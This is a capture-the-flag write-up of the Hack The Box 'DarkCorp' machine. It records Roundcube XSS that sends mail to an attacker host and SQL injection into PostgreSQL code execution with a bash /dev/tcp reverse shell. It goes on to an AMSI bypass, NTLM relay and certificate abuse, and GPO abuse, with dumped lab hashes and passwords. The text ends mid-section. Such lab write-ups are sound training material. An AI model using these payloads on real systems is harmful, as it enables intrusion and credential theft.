> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / WINDOWS / 2025-02-15

Hack The Box — DarkCorp (Windows)

Roundcube XSS and dashboard SQL injection expose internal secrets, PostgreSQL command execution provides container foothold and AD pivoting, relay and AD CS abuse compromise WEB-01, and GPO abuse from delegated admin rights leads to domain administrator access.

Target

  • IP: 10.129.218.157

Recon

sudo nmap -sC -sV 10.129.218.157 -p- -T5 -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Go to http://10.129.218.157/.

It redirects to http://drip.htb/.

Add drip.htb to /etc/hosts, browse it, register, click sign in.

We are redirected to http://mail.drip.htb/.

Add mail.drip.htb to /etc/hosts, then log in.

We see this email:

Hi test12,

Welcome to DripMail! We’re excited to provide you convenient email solutions!. If you need help, please reach out to us at support@drip.htb.

From the info button, this is Roundcube Webmail 1.6.7.

Useful reference:

  • https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/

Roundcube XSS via Contact Form

Go to http://drip.htb/index.

There is a support contact form.

Intercept request and send to Repeater.

POST /contact parameters:

name=test&email=test12%40drip.htb&message=test&content=text&recipient=support%40drip.htb

Set recipient to our own mailbox (test12@drip.htb) and send.

In webmail we receive the message with footer:

Confidentiality Notice: This electronic communication may contain confidential or privileged information. Any unauthorized review, use, disclosure, copying, distribution, or taking of any part of this email is strictly prohibited.
If you suspect that you've received a "phishing" e-mail, please forward the entire email to our security engineer at bcase@drip.htb

Start local HTTP server:

python3 -m http.server 8000

Set content=html, set recipient=test12@drip.htb, and use this message payload:

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.16.8:8000/?c=' document.cookie})) foo=bar">
Foo
</body>

Send request.

Clicking mail triggers request to our server, but no cookies are obtained (likely HttpOnly).

Set recipient=bcase@drip.htb and resend.

After waiting, we receive an HTTP request from victim host.

XSS works.

Try this JavaScript:

fetch('http://mail.drip.htb/?_task=mail&_mbox=INBOX&_uid=2&_action=show',{method:'GET'})
.then((response) => {
return response.text();
})
.then((data) => {
    fetch('http://10.10.16.8:5555/',{method:'POST',mode:'no-cors',body:data});
})
.catch((error) => {
    fetch('http://10.10.16.8:5555/',{method:'POST',mode:'no-cors',body:error});
});

Base64-encoded:

ZZmV0Y2goJ2h0dHA6Ly9tYWlsLmRyaXAuaHRiLz9fdGFzaz1tYWlsJl9tYm94PUlOQk9YJl91aWQ9MiZfYWN0aW9uPXNob3cnLHttZXRob2Q6J0dFVCd9KQoudGhlbigocmVzcG9uc2UpID0+IHsKcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsKfSkKLnRoZW4oKGRhdGEpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTpkYXRhfSk7Cn0pCi5jYXRjaCgoZXJyb3IpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTplcnJvcn0pOwp9KTs=

Payload becomes:

<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{type:'text/javascript',text:'eval(atob(`ZmV0Y2goJ2h0dHA6Ly9tYWlsLmRyaXAuaHRiLz9fdGFzaz1tYWlsJl9tYm94PUlOQk9YJl91aWQ9MiZfYWN0aW9uPXNob3cnLHttZXRob2Q6J0dFVCd9KQoudGhlbigocmVzcG9uc2UpID0+IHsKcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsKfSkKLnRoZW4oKGRhdGEpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTpkYXRhfSk7Cn0pCi5jYXRjaCgoZXJyb3IpID0+IHsKICAgIGZldGNoKCdodHRwOi8vMTAuMTAuMTYuODo1NTU1Lycse21ldGhvZDonUE9TVCcsbW9kZTonbm8tY29ycycsYm9keTplcnJvcn0pOwp9KTs=`))'})) foo=bar">
Foo
</body>

Listen:

nc -vlnp 5555

Send request and wait.

We receive an email from ebelford@drip.htb to bcase:

Hey Bryce,<br>
<br>
The Analytics dashboard is now live. While it&#039;s still in development and limited in functionality, it should provide a good starting point for gathering metadata on the users currently using our service.<br>
<br>
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you&#039;ll need to reset your password before logging in.<br>
<br>
If you encounter any issues or have feedback, let me know so I can address them promptly.<br>
<br>
Thanks<br>

Add vhost to hosts:

  • dev-a3f1-01.drip.htb

Go to http://dev-a3f1-01.drip.htb/.

Our own credentials do not work. There is password reset.

Reset for bcase@drip.htb.

Idea: use XSS to read bcase's mail and steal reset link.

See scripts:

  • xss_exp.py
  • test.js

Submit reset request and run:

python3 xss_exp.py

We get email contents:

Sender: no-reply@drip.htb
Receiver: bcase@drip.htb
Subject: Reset token
Message:
Your reset token has generated.  Please reset your password within the next 5 minutes.

You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z6tvVQ.tl-TdW_j0n_MviwQI9yKF7AeUbE

Open link, reset password, login as bcase.

SQL Injection in Analytics

Analytics table example:

ID      Username        E-Mail  Host Header     IP Address
5001    support support@drip.htb        Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0  10.0.50.10
5002    bcase   bcase@drip.htb  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0  10.0.50.10
5003    ebelford        ebelford@drip.htb       Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0   10.0.50.10
5004    test12  test12@drip.htb Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36   172.16.20.1

Search field with a triggers error:

(psycopg2.errors.UndefinedColumn) column "a" does not exist LINE 1: SELECT * FROM "Users" WHERE "Users".username = a ^ [SQL: SELECT * FROM "Users" WHERE "Users".username = a] (Background on this error at: https://sqlalche.me/e/20/f405)

Searching password avoids error.

Intercept POST /analytics with parameter query.

Use:

query=password%20or%201%3d1%20--%20

which is:

query=password or 1=1 --

Returns full table.

sqlmap was attempted:

query=password
sqlmap -r request.txt -p query

but had difficulties.

Use manual stacked payloads:

password; select version()

Output:

PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
password; select user

Output:

dripmail_dba
password; select current_database()

Output:

dripmail

Enumerate tables/columns and dump creds:

password; SELECT table_name FROM information_schema.tables
Users, Admins

password; SELECT column_name FROM information_schema.columns WHERE table_name='Users'
id,username,password,email,host_header,ip_address

password; SELECT column_name FROM information_schema.columns WHERE table_name='Admins'
id,username,password,email

password; SELECT username,password from "Users"
support:d9b9ecbf29db8054b21f303072b37c4e
bcase:1eace53df87b9a15a37fdc11da2d298d
ebelford:0cebd84e066fd988e89083879e88c5f9
test12:60474c9c10d7142b7508ce7a50acf414

password; SELECT username,password from "Admins"
bcase:60474c9c10d7142b7508ce7a50acf414

MD5 hashes do not crack with:

hashcat -a 0 -m 0 ./hash ./rockyou.txt --username

Dump pg_shadow:

password; SELECT usename, passwd FROM pg_shadow
roundcubeuser:SCRAM-SHA-256$4096:9D5PGoskyxemztNkX7RUwQ==$HS6GAUs0nz0rHTFnLqEGSjuGo2vLB/FAmXPfUYELMN8=:mQputE3vtO7+wiww1AJwhAX92MwLQjC2N9BWMGzxVUQ=
postgres:SCRAM-SHA-256$4096:tg9Rp4xk/QNzkzC+IdZvoA==$j04FPORWE0c4n1/6aU054RiS/7ZSXd9l2GpIh5Yrr/A=:wKIyNMoA10grsDD/+9vEI5466Op8TQadVW92GYy0jLU=
dripmail_dba:SCRAM-SHA-256$4096:S+uJXI58M/NKitBj8qAZBQ==$HfLVH/6blPPeOuJ7wL03D3YdNGZnt7Ry064w7aJMzRQ=:QJppcxaoDH6wSYi2GUiSjdzRHa3zTe5eWCEarYi9xKQ=

Attempt:

./hashcat-6.2.6/hashcat.bin -a 0 -m 28600 ./hash_1 ./rockyou.txt --username

No crack.

Read files and environment details:

password; select pg_ls_dir('./');
password; select pg_read_file('/etc/passwd');
password; select pg_ls_dir('/etc/nginx/sites-available/');
default
password; select pg_read_file('/etc/nginx/sites-available/default');
password; select pg_ls_dir('/var/www/html');
index.html
dashboard
dripmail
password; select pg_ls_dir('/var/www/html/dashboard');

Read dashboard .env:

password; select pg_read_file('/var/www/html/dashboard/.env');
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'

Read dripmail .env:

password; select pg_read_file('/var/www/html/dripmail/.env');
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'

Read hosts:

password; select pg_read_file('/etc/hosts');
127.0.0.1 localhost drip.htb mail.drip.htb dev-a3f1-01.drip.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb
172.16.20.3 drip.darkcorp.htb

Try SQLite extraction from dripmail app:

password; select pg_ls_dir('/var/www/html/dripmail/apps');
password; select encode(pg_read_binary_file('/var/www/html/dripmail/apps/db.sqlite3')::bytea, 'base64')
password; select encode(pg_read_binary_file('/var/www/html/dripmail/apps/db.sqlite3')::bytea, 'hex')

Convert hex locally:

echo -n <hex> | xxd -r -p > db.sqlite3
sqlite3 db.sqlite3

Nothing useful there.

Read source files:

password; select pg_read_file('/var/www/html/dashboard/apps/home/routes.py');
password; select pg_read_file('/var/www/html/dripmail/apps/home/routes.py');

Dashboard has sanitization:

query = "''" if request.form['query'] == "" else sanitize(request.form['query'])
        try:
            user_metadata = session.execute(text(f'SELECT * FROM "Users" WHERE "Users".username = {query}')).fetchall()
            return render_template('home/analytics.html', user_metadata=user_metadata)

[...]
def sanitize(query):
    blacklist = ["create", "insert", "update", "delete", "drop", "copy", "into", "alter", "truncate", "union"]
    pattern = re.compile(r'\b(?:' + '|'.join(blacklist) + r')\b', re.IGNORECASE)
    query = pattern.sub('', query)
    return query

Bypassing this directly was not achieved.

Routing code:

@blueprint.route('/<template>')
def route_template(template):
    try:

        if not template.endswith('.html'):
            template += '.html'

        # Detect the current page
        segment = get_segment(request)

        # Serve the file (if exists) from app/templates/home/FILE.html
        return render_template("home/" + template, segment=segment)

    except TemplateNotFound:
        return render_template('home/page-404.html'), 404

    except:
        return redirect('/page-500')

Templates path:

password; select pg_ls_dir('/var/www/html/dashboard/apps/templates/home');
page-404.html
index.html
analytics.html
dashboard.html
page-500.html
page-403.html

lo_export arbitrary-write attempts failed due permissions:

SELECT lo_from_bytea(43210, 'your file data goes in here');
password; SELECT lo_export(43210, '/tmp/testexport');
password; SELECT lo_from_bytea(43211, '{{ cycler.__init__.__globals__.os.popen("id").read() }}');
password; SELECT lo_export(43211, '/var/www/html/dashboard/apps/templates/test.html');

PostgreSQL RCE via Blacklist Bypass

Check nginx confs:

password; select pg_ls_dir('/etc/nginx/conf.d/');
dripmail.conf
roundcube.conf
dashboard.conf

password; select pg_read_file('/etc/nginx/conf.d/roundcube.conf');
listen 80;
        server_name mail.drip.htb;

        root /var/www/roundcube;
        index  index.php index.html;

Goal payload:

COPY (SELECT '') to PROGRAM 'wget http://10.10.16.8:8000/'

COPY is blacklisted, so encode/decode bypass is used.

Start listener:

python3 -m http.server 8000

Base64 of the COPY statement:

Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==

Construct query:

DO $$
BEGIN
  EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape');
END
$$;

One-line form:

DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape'); END $$;

Submit prefixed with password;:

password; DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICd3Z2V0IGh0dHA6Ly8xMC4xMC4xNi44OjgwMDAvJw==', 'base64'), 'escape'); END $$;

We receive request on our server.

Reverse shell payload command:

COPY (SELECT '') to PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.16.8/4444 0>&1"'

Encoded request used:

password; DO $$ BEGIN EXECUTE encode(decode('Q09QWSAoU0VMRUNUICcnKSB0byBQUk9HUkFNICdiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjgvNDQ0NCAwPiYxIic=', 'base64'), 'escape'); END $$;

Listen:

nc -vlnp 4444

We get reverse shell as postgres.

Generate SSH key:

ssh-keygen -f postgresql_key

Add public key to /var/lib/postgresql/.ssh/authorized_keys and connect:

ssh postgres@mail.drip.htb -i postgresql_key

We are in a Docker container.

Pivoting to Internal Network

Check listening ports:

ss -ltpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port   Process
LISTEN    0         2048             127.0.0.1:8001             0.0.0.0:*
LISTEN    0         2048             127.0.0.1:8000             0.0.0.0:*
LISTEN    1         244              127.0.0.1:5432             0.0.0.0:*       users:(("postgres",pid=576,fd=5))
LISTEN    0         100              127.0.0.1:993              0.0.0.0:*
LISTEN    0         100              127.0.0.1:587              0.0.0.0:*
LISTEN    0         100              127.0.0.1:25               0.0.0.0:*
LISTEN    0         5                127.0.0.1:52985            0.0.0.0:*
LISTEN    0         511                0.0.0.0:80               0.0.0.0:*
LISTEN    0         100              127.0.0.1:143              0.0.0.0:*
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         10               127.0.0.1:39101            0.0.0.0:*
LISTEN    0         511                   [::]:80                  [::]:*
LISTEN    0         128                   [::]:22                  [::]:*

Example forward command:

ssh postgres@mail.drip.htb -i postgresql_key -NL localhost:5000:172.16.20.3:80

Actually not needed because container IP is 172.16.20.3.

Find password update in logs:

cd /var/log/postgresql
grep -nriE 'ebelford'
postgresql-15-main.log.1:65:2025-02-03 11:05:04.886 MST [5952] postgres@dripmail STATEMENT:  UPDATE Users SET password = 8bbd7f88841b4223ae63c8848969be86 WHERE username = ebelford;

Crack MD5:

./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt
8bbd7f88841b4223ae63c8848969be86:ThePlague61780

SSH as ebelford:

ssh ebelford@mail.drip.htb

Use ligolo-ng for pivoting:

  • https://github.com/nicocha30/ligolo-ng

Attacker:

sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

Victim:

./agent -connect 10.10.16.8:11601 -ignore-cert

In ligolo:

ligolo-ng » session
(select session 1)
ligolo-ng » start

Add route:

sudo ip route add 172.16.20.0/24 dev ligolo

Add to /etc/hosts:

172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb

AD Enumeration (DC-01 and WEB-01)

Scan DC:

sudo nmap -sC -sV DC-01.darkcorp.htb -p- -T5 -v

(Ports include LDAP/LDAPS/Kerberos/SMB/ADCS endpoints.)

Pinging 172.16.20.2 responds, so scan that host too:

sudo nmap -sC -sV 172.16.20.2 -p- -T5 -v

On postgres container shell:

cd /var/backups/postgres
ls
dev-dripmail.old.sql.gpg
gpg --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql

Passphrase: 2Qa2SsBkQvsc.

In dump we see:

COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb

Crack victor hash:

./hashcat-6.2.6/hashcat.bin -a 0 -m 0 ./hash ./rockyou.txt
cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#

Validate on DC:

nxc smb darkcorp.htb -u users.txt -p passwords.txt
SMB         172.16.20.1     445    NONE             [+] \victor.r:victor1gustavo@#
nxc smb darkcorp.htb -u 'victor.r' -p 'victor1gustavo@#' --shares
SMB         172.16.20.1     445    DC-01            [*] Enumerated shares
...
SMB         172.16.20.1     445    DC-01            CertEnroll      READ            Active Directory Certificate Services share

Browse CertEnroll share:

smbclient -U 'victor.r' //darkcorp.htb/CertEnroll
ls
  DARKCORP-DC-01-CA+.crl              A      990  Wed Feb 12 19:49:57 2025
  DARKCORP-DC-01-CA.crl               A     1184  Wed Feb 12 19:49:57 2025
  DC-01.darkcorp.htb_DARKCORP-DC-01-CA(1).crt      A     1436  Wed Jan 22 13:18:28 2025
  DC-01.darkcorp.htb_DARKCORP-DC-01-CA.crt      A     1397  Mon Dec 30 00:34:10 2024
  nsrev_DARKCORP-DC-01-CA.asp         A      328  Mon Dec 30 00:38:06 2024

Validate on WEB-01:

nxc smb 172.16.20.2 -u users.txt -p passwords.txt
SMB         172.16.20.2     445    WEB-01           [+] darkcorp.htb\victor.r:victor1gustavo@#
nxc smb 172.16.20.2 -u 'victor.r' -p 'victor1gustavo@#' --shares
SMB         172.16.20.2     445    WEB-01           [*] Enumerated shares
...
SMB         172.16.20.2     445    WEB-01           IPC$            READ            Remote IPC

Add host entry:

172.16.20.2 WEB-01.darkcorp.htb

LDAP/BloodHound:

ldapdomaindump darkcorp.htb -u 'darkcorp.htb\victor.r' -p 'victor1gustavo@#'
tail -n +2 domain_users.grep | cut -f 3 > users.txt

For BloodHound we use dnschef:

sudo dnschef --fakedomains darkcorp.htb --fakeip 172.16.20.1 --nameservers 172.16.20.1
bloodhound-python -u 'victor.r' -p 'victor1gustavo@#' -ns 172.16.20.1 -d 'darkcorp.htb' -dc 'DC-01.darkcorp.htb' -c All --use-ldaps --zip -v

Scan service on WEB-01:5000:

sudo nmap -sC -sV 172.16.20.2 -sC -sV -p5000
PORT     STATE SERVICE VERSION
5000/tcp open  http    Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|   Negotiate
|_  NTLM
| http-ntlm-info:
|   Target_Name: darkcorp
|   NetBIOS_Domain_Name: darkcorp
|   NetBIOS_Computer_Name: WEB-01
|   DNS_Domain_Name: darkcorp.htb
|   DNS_Computer_Name: WEB-01.darkcorp.htb
|   DNS_Tree_Name: darkcorp.htb
|_  Product_Version: 10.0.20348
|_http-title: 401 - Unauthorized: Access is denied due to invalid credentials.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Browse http://web-01.darkcorp.htb:5000/ and authenticate with victor.r:victor1gustavo@#.

In Burp, set platform authentication with NTLMv1 credentials/domain.

Alternative: use requests-ntlm (pip install requests-ntlm) and trigger_check.py.

NTLM Relay -> ADCS -> WEB-01 Machine Account

Prepare listeners:

nc -vlnp 7777

Ligolo listener:

listener_add --addr 0.0.0.0:7777 --to 10.10.16.3:7777 --tcp

Send /check request with modified JSON:

{"protocol":"http","host":"drip.darkcorp.htb","port":"7777"}

Netcat receives:

GET / HTTP/1.1
Host: drip.darkcorp.htb:7777
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Start ntlmrelayx:

ntlmrelayx.py -t ldaps://DC-01.darkcorp.htb --delegate-access -i -smb2support

Another ligolo listener:

listener_add --addr 0.0.0.0:8888 --to 10.10.16.3:80 --tcp

Trigger with:

{"protocol":"http","host":"drip.darkcorp.htb","port":"8888"}

(or run python3 trigger_check.py).

ntlmrelayx output:

[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as DARKCORP/SVC_ACC

Connect:

nc 127.0.0.1 11000
whoami
u:darkcorp\svc_acc

Many commands fail due low privileges.

BloodHound shows svc_acc in dnsadmins.

Use relay to add DNS record.

References:

  • https://www.synacktiv.com/en/publications/relaying-kerberos-over-smb-using-krbrelayx
  • https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/

Add DNS record via relay:

ntlmrelayx.py -t ldaps://DC-01.darkcorp.htb -smb2support --no-dump --add-dns-record 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.16.28
python3 trigger_check.py

In the terminal with ntlmrelayx we see:

[*] Added `A` record `DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)

Verify:

nslookup DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.darkcorp.htb 172.16.20.1

Use krbrelayx + printerbug chain.

Download:

  • https://github.com/dirkjanm/krbrelayx

Query SPN:

python3 krbrelayx/addspn.py -u 'darkcorp.htb\victor.r' -p 'victor1gustavo@#' -t 'WEB-01$' -s http/dc-01.darkcorp.htb -q dc-01.darkcorp.htb
DN: CN=WEB-01,CN=Computers,DC=darkcorp,DC=htb - STATUS: Read - READ TIME: 2025-02-14T14:09:46.399026
    dNSHostName: WEB-01.darkcorp.htb
    sAMAccountName: WEB-01$
    servicePrincipalName: TERMSRV/WEB-01
                          TERMSRV/WEB-01.darkcorp.htb
                          WSMAN/WEB-01
                          WSMAN/WEB-01.darkcorp.htb
                          RestrictedKrbHost/WEB-01
                          HOST/WEB-01
                          RestrictedKrbHost/WEB-01.darkcorp.htb
                          HOST/WEB-01.darkcorp.htb

Run ADCS relay:

python3 krbrelayx/krbrelayx.py --target 'https://DC-01.darkcorp.htb/certsrv/' --victim 'WEB-01.darkcorp.htb' --adcs --template Machine

Trigger printerbug:

python3 krbrelayx/printerbug.py 'darkcorp.htb'/'victor.r':'victor1gustavo@#'@'WEB-01.darkcorp.htb' 'DC-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' -dc-ip 172.16.20.1

Relay output:

[*] GOT CERTIFICATE! ID 5
[*] Writing PKCS#12 certificate to ./WEB-01.darkcorp.htb.pfx
[*] Certificate successfully written to file

Authenticate with certipy:

certipy auth -pfx 'WEB-01.darkcorp.htb.pfx' -domain 'darkcorp.htb' -dc-ip 172.16.20.1
[*] Using principal: web-01$@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675

Validate hash:

nxc smb 172.16.20.2 -u 'WEB-01$' -H '8f33c7fc7ff515c1f358e488fbb8b675'
SMB         172.16.20.2     445    WEB-01           [+] darkcorp.htb\WEB-01$:8f33c7fc7ff515c1f358e488fbb8b675

Alternative PKINITtools chain:

python3 PKINITtools/gettgtpkinit.py -cert-pfx 'WEB-01.darkcorp.htb.pfx' -dc-ip 172.16.
20.1 'darkcorp.htb/WEB-01$' web_01.ccache
2025-02-14 23:14:54,141 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-14 23:14:54,966 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-14 23:14:55,167 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-02-14 23:14:55,168 minikerberos INFO     2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
INFO:minikerberos:2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
2025-02-14 23:14:55,190 minikerberos INFO     Saved TGT to file
export KRB5CCNAME=web_01.ccache
python3 PKINITtools/getnthash.py 'darkcorp.htb/WEB-01$' -key 2e0d939509719f9adeccf9f01d3bcdd84fdc70fd195f0be2cd62196bda4dbe29
Recovered NT Hash
8f33c7fc7ff515c1f358e488fbb8b675

It is the same hash as certipy output.

S4U ticket and dump WEB-01:

python3 PKINITtools/gets4uticket.py kerberos+ccache://darkcorp.htb\\WEB-01\$:web_01.ccache@DC-01.darkcorp.htb cifs/WEB-01.darkcorp.htb@darkcorp.htb Administrator@darkcorp.htb administrator_web_01.ccache -v
2025-02-14 23:22:41,508 minikerberos INFO     Trying to get SPN with Administrator@darkcorp.htb for cifs/WEB-01.darkcorp.htb@darkcorp.htb
INFO:minikerberos:Trying to get SPN with Administrator@darkcorp.htb for cifs/WEB-01.darkcorp.htb@darkcorp.htb
2025-02-14 23:22:41,686 minikerberos INFO     Success!
INFO:minikerberos:Success!
2025-02-14 23:22:41,687 minikerberos INFO     Done!
INFO:minikerberos:Done!
export KRB5CCNAME=administrator_web_01.ccache
secretsdump.py -k WEB-01.darkcorp.htb
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb:
darkcorp\WEB-01$:plain_password_hex:4100520044006c002600710072005a00640022007400230061003d004f00520063005e006b006e004f005d00270034004b0041003a003900390074006200320031006a0040005a004f004f005c004b003b00760075006600210063004f0075002f003c0072005d0043004c004a005800250075006c002d00440064005f006b00380038002c00270049002c0046004000680027003b004500200021003b0042004d005f0064003b0066002300700068005500440069002f0054002300320022005f004c0056004c003c0049006f002600480076002c005d00610034005500470077004a0076005f003400740054004800
darkcorp\WEB-01$:aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675:::

WinRM to WEB-01:

evil-winrm -i 172.16.20.2 -u 'Administrator' -H '88d84ec08dad123eb04a060a74053f21'

User flag is on desktop.

Domain Admin via GPO Abuse

Quick search for taylor.b.adm creds:

Get-ChildItem -Path . -Recurse | Select-String -Pattern 'taylor.b.adm'

Found with kerbrute (unintended path):

./kerbrute bruteuser -d darkcorp.htb --dc 172.16.20.1 /usr/share/wordlists/rockyou.txt taylor.b.adm -t 50
2025/02/15 00:59:38 >  [+] VALID LOGIN:  taylor.b.adm@darkcorp.htb:!QAZzaq1

Note from original path (intended idea):

  • After rooting WEB-01, abuse userPrincipalName to login into Linux as admin
  • SSSD misconfigured credential cache
  • Retrieve cached credentials and crack taylor.b.adm password

Connect to DC as taylor.b.adm:

evil-winrm -i 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'

whoami /all shows membership including:

  • darkcorp\linux_admins
  • darkcorp\gpo_manager

Validate SMB:

nxc smb 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\taylor.b.adm:!QAZzaq1

Upload PowerView.ps1:

  • https://github.com/PowerShellMafia/PowerSploit/raw/master/Recon/PowerView.ps1

Loading is blocked by Defender.

Use AMSI bypass:

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

. .\PowerView.ps1

Now it works.

Enumerate GPO:

Get-DomainGPO -Domain darkcorp.htb

Alternative enumeration via GPOwned:

  • https://github.com/X-C3LL/GPOwned.git
python3 GPOwned/GPOwned.py -u taylor.b.adm -p '!QAZzaq1' -d darkcorp.htb -dc-ip 172.16.20.1 -gpcmachine -listgpo

Also:

Get-GPO -All

Interesting GPO:

  • SecurityUpdates ({652CAE9A-4BB7-49F2-9E52-3361F33CE786})

Attempt to read Defender exclusion paths with event logs failed due privileges.

Reference used:

  • https://blog.fndsec.net/2024/10/04/uncovering-exclusion-paths-in-microsoft-defender-a-security-research-insight/

Use PowerGPOAbuse:

  • https://github.com/rootSySdk/PowerGPOAbuse
. .\PowerGPOAbuse.ps1

# Adding a localadmin
Add-LocalAdmin -Identity 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'

gpupdate /force

Re-login:

evil-winrm -i 172.16.20.1 -u 'taylor.b.adm' -p '!QAZzaq1'

Now whoami /all shows Administrators membership.

Dump secrets on DC:

secretsdump.py 'darkcorp.htb'/'taylor.b.adm':'!QAZzaq1'@'DC-01.darkcorp.htb'

Relevant output includes:

